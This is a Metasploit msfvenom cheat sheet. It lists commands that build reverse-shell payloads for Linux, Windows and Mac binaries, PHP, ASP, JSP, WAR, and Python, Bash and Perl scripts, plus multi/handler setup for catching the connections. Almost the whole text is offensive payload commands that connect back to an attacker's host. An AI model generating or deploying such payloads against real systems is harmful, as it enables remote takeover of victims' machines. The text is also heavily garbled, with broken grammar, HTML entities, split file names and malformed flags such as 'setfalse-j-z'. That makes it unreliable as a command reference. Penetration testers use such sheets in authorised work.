Often one of the most useful (and to the beginner underrated) abilities of Metasploit are the Msfpayload module. Multiple payloads can created with the This module and it helps something the can give you a shell in almost any situation . For each of the these payloads you can go to Msfconsole and select Exploit/multi/handler. Run ' Set payload ' for the relevant payload used and configure all necessary options (Lhost, Lport, etc). Execute and wait for the payload to is run. For the examples below it's pretty self explanatory but lhost should is filled in with your IP address (LAN IP if Attackin G within the network, WAN IP if attacking across the Internet), and Lport should be the port you wish to being connected back On.
List payloads
Msfvenom-l
Binaries:
Linux
Msfvenom-p linux/x86/meterpreter/reverse_tcp lhost=<your IP address> lport=<your Port to Connect On>-F Elf & Gt Shell.elf
Windows
Msfvenom-p windows/meterpreter/reverse_tcp lhost=<your IP address> lport=<your Port to Connect On>-F exe ; Shell.exe
Mac
Msfvenom-p osx/x86/shell_reverse_tcp lhost=<your IP address> lport=<your Port to Connect on>-F Macho >
Shell.machoweb payloads
Php
Msfvenom-p php/meterpreter_reverse_tcp lhost=<your IP address> lport=<your Port to Connect On>-F Raw >
'
\ n
' > shell.php && pbpaste >> shell.php
Asp
Msfvenom-p windows/meterpreter/reverse_tcp lhost=<your IP address> lport=<your Port to Connect On>-F ASP ; Shell.asp
Jsp
Msfvenom-p java/jsp_shell_reverse_tcp lhost=<your IP address> lport=<your Port to Connect On>-F Raw > she ll.jsp
WAR
Msfvenom-p java/jsp_shell_reverse_tcp lhost=<your IP address> lport=<your Port to Connect On>-F War > Shell.warscripting payloads
Python
Msfvenom-p Cmd/unix/reverse_python lhost=<your IP address> lport=<your Port to Connect on>-F raw > Shell. Py
Bash
Msfvenom-p cmd/unix/reverse_bash lhost=<your IP address> lport=<your Port to Connect on>-F Raw > Shell.sh
Perl
Msfvenom-p cmd/unix/reverse_perl lhost=<your IP address> lport=<your Port to Connect on>-F Raw > shell.pl
Shellcode:
For all shellcode see ' msfvenom–help-formats ' for information as to valid parameters. Msfvenom would output code, able to being cut and pasted in this language for your exploits.
Linux Based Shellcode
Msfvenom-p linux/x86/meterpreter/reverse_tcp lhost=<your IP address> lport=<your Port to Connect On>-F <l Anguage>
Windows Based Shellcode
Msfvenom-p windows/meterpreter/reverse_tcp lhost=<your IP address> lport=<your Port to Connect On>-F <lan Guage>
Mac Based Shellcode
Msfvenom-p osx/x86/shell_reverse_tcp lhost=<your IP address> lport=<your Port to Connect on>-F <language& Gt
Handlers
Metasploit handlers can is great at quickly setting the up Metasploit to is in a position to receive your incoming shells. Handlers should is in the following format.
Use exploit/multi/handlerset PAYLOAD <payload name>set lhost <lhost value> Set lport <lport value>setfalse-j-z
Once the required values are completed the following command would execute your handler– ' msfconsole-l-R '
Various build payload commands under MSF